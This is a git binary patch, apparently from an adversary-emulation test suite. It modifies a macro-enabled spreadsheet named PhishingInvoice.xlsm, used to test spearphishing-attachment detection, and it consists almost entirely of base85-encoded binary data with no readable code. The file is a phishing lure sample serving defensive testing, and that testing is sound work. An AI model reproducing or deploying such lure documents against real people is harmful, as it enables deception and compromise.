    &4eY^2@`Bs%3FADuZ4zO?p-G`c#R%ey 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 ke>$qa Date: Sat, 30 Jun 2018 23:37:51 -0500 Subject: [PATCH 67/91] Added URL link to Google instead of Red Canary. --- atomics/T1193/PhishingInvoice.xlsm | Bin 18423 -> 18496 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/atomics/T1193/PhishingInvoice.xlsm b/atomics/T1193/PhishingInvoice.xlsm index ac70a50bbb42123b8930d52156de2a7f8d9610e8..46810f753757672aa7ca9d0d1555f93664656c41 100644 GIT binary patch delta 6152 zcmV+j829J*j{(4t0kDJ#30jkz-<$&g00xtd2^fECZ{j!<{l3!vhip`7K83`20a0ND zdF&v~R)}GyUn(ItF~r-%W*w(cRrBBXIw6HVM#DT1Byo(7&pr3tn_Rx%mxXpuL`69p z>8NMv8eu8VDBFzm&&$LZ=vpN)%W%ON8R-wC(%+B&{Nr-R#oaCEcNze&YNY2(gvhcmZOih_5>uwP2!S{UgRj>#B@s{Sk}%nV z2vT4P^sAh1s}8M9&w(qkxU08D%F8W4+|q)|hXz#F$~2g57#H}qfUx(-)AjpBI^h|$({c8=*Lvl?)?y1V*6D#5WBrE?3%Rho4 z>zC0GSgY|$0OI{5n)k%b*2kA?T97ZTbv3-*Ug1(@s?fCpS2E71B-u#s!;tUD@diXC z>g}|q1FpLZ@nnp$#4P7Hi;&3o=qXc>WSKS;x6~KR7 zoGf4Fw7Nc2hWZn@Xi`Wb7?vdDOoC|-BK)dB8|*OWP!8IH{8v*!pbEi^APgLF8sOV% zj%BXZq8RC6a5ESDUy{n|21^dMG6cyCNpN`>S2s%pa@?Hw8ow^0A8#P6(9&$L zU&;Y&MbNo-E`T^jPQe$<67nit0?G^?l^Bu{e$=246=fnW=9&2*5PBQ^NT|_ z*Z4v;#V?fXs-s2JP}^TqmhoK^(Zk90uDN|pGntQc8~GMQ+}`^@=q3lQL$80S9bqd< zBmEhbsHKv?2P~Q-�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 